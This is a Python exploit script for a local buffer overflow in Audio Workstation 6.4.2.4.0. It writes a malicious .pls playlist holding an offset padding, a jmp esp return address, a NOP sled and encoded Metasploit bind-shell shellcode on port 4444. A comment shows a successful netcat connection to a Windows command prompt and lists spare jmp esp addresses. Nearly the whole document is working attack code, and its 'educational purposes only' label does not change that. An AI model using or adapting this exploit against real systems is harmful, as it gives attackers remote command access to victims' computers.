Audio Workstation 6.4.2.4.0 Buffer Overflow

`#!/usr/bin/python  
##########################################################  
#  
# Audio Workstation v6.4.2.4.0 (.pls) Universal Local BoF Exploit  
# Credits: germaya_x  
# Coded by: mr_me  
# Tested on Windows XP SP3  
# Note: ** For educational purposes only **  
#  
###########################################################  
#  
# mrme@home:~$ nc -v 192.168.0.6 4444  
# 192.168.0.6: inverse host lookup failed: Unknown server error :  
# Connection timed out  
# (UNKNOWN) [192.168.0.6] 4444 (?) open  
# Microsoft Windows XP [Version 5.1.2600]  
# (C) Copyright 1985-2001 Microsoft Corp.  
#  
# C:\Program Files\Audio Workstation>  
#  
# Note: There is no need to restrict this exploit  
# to XP sp2 as AudioWorkstation.exe contains  
# jmp esp addresses that works on XP sp3.  
# The addresses that I found using msfpescan:  
#  
# 0x0105a9b1 jmp esp  
# 0x010d1c9a jmp esp  
# 0x010f0215 jmp esp  
# 0x010f54aa jmp esp  
# 0x01102e7e jmp esp  
  
# windows/shell_bind_tcp - 368 bytes  
# http://www.metasploit.com  
# Encoder: x86/shikata_ga_nai  
# EXITFUNC=thread, LPORT=4444, RHOST=  
  
sc =("\x29\xc9\xb8\x47\xff\xe4\x4f\xb1\x56\xdd\xc3\xd9\x74\x24"  
"\xf4\x5b\x31\x43\x0f\x03\x43\x0f\x83\xc3\x43\x1d\x11\xb3"  
"\xa3\x68\xda\x4c\x33\x0b\x52\xa9\x02\x19\x00\xb9\x36\xad"  
"\x42\xef\xba\x46\x06\x04\x49\x2a\x8f\x2b\xfa\x81\xe9\x02"  
"\xfb\x27\x36\xc8\x3f\x29\xca\x13\x13\x89\xf3\xdb\x66\xc8"  
"\x34\x01\x88\x98\xed\x4d\x3a\x0d\x99\x10\x86\x2c\x4d\x1f"  
"\xb6\x56\xe8\xe0\x42\xed\xf3\x30\xfa\x7a\xbb\xa8\x71\x24"  
"\x1c\xc8\x56\x36\x60\x83\xd3\x8d\x12\x12\x35\xdc\xdb\x24"  
"\x79\xb3\xe5\x88\x74\xcd\x22\x2e\x66\xb8\x58\x4c\x1b\xbb"  
"\x9a\x2e\xc7\x4e\x3f\x88\x8c\xe9\x9b\x28\x41\x6f\x6f\x26"  
"\x2e\xfb\x37\x2b\xb1\x28\x4c\x57\x3a\xcf\x83\xd1\x78\xf4"  
"\x07\xb9\xdb\x95\x1e\x67\x8a\xaa\x41\xcf\x73\x0f\x09\xe2"  
"\x60\x29\x50\x6b\x45\x04\x6b\x6b\xc1\x1f\x18\x59\x4e\xb4"  
"\xb6\xd1\x07\x12\x40\x15\x32\xe2\xde\xe8\xbc\x13\xf6\x2e"  
"\xe8\x43\x60\x86\x90\x0f\x70\x27\x45\x9f\x20\x87\x35\x60"  
"\x91\x67\xe5\x08\xfb\x67\xda\x29\x04\xa2\x6d\x6e\xca\x96"  
"\x3e\x19\x2f\x29\xd1\x85\xa6\xcf\xbb\x25\xef\x58\x53\x84"  
"\xd4\x50\xc4\xf7\x3e\xcd\x5d\x60\x76\x1b\x59\x8f\x87\x09"  
"\xca\x3c\x2f\xda\x98\x2e\xf4\xfb\x9f\x7a\x5c\x75\x98\xed"  
"\x16\xeb\x6b\x8f\x27\x26\x1b\x2c\xb5\xad\xdb\x3b\xa6\x79"  
"\x8c\x6c\x18\x70\x58\x81\x03\x2a\x7e\x58\xd5\x15\x3a\x87"  
"\x26\x9b\xc3\x4a\x12\xbf\xd3\x92\x9b\xfb\x87\x4a\xca\x55"  
"\x71\x2d\xa4\x17\x2b\xe7\x1b\xfe\xbb\x7e\x50\xc1\xbd\x7e"  
"\xbd\xb7\x21\xce\x68\x8e\x5e\xff\xfc\x06\x27\x1d\x9d\xe9"  
"\xf2\xa5\xbd\x0b\xd6\xd3\x55\x92\xb3\x59\x38\x25\x6e\x9d"  
"\x45\xa6\x9a\x5e\xb2\xb6\xef\x5b\xfe\x70\x1c\x16\x6f\x15"  
"\x22\x85\x90\x3c")  
  
buff = '\x41' * 1324 # offset  
buff += '\xb1\xa9\x05\x01' # jmp esp  
buff += '\x90' * 10 # nops  
buff += sc # shellcode  
buff += '\xcc' * (4000-1338-len(sc)) # finish buffer  
  
exploitme = open('AudioWorkstation.pls','w')  
exploitme.write(buff)  
exploitme.close()  
print "[+] Created exploit file ;)"  
  
`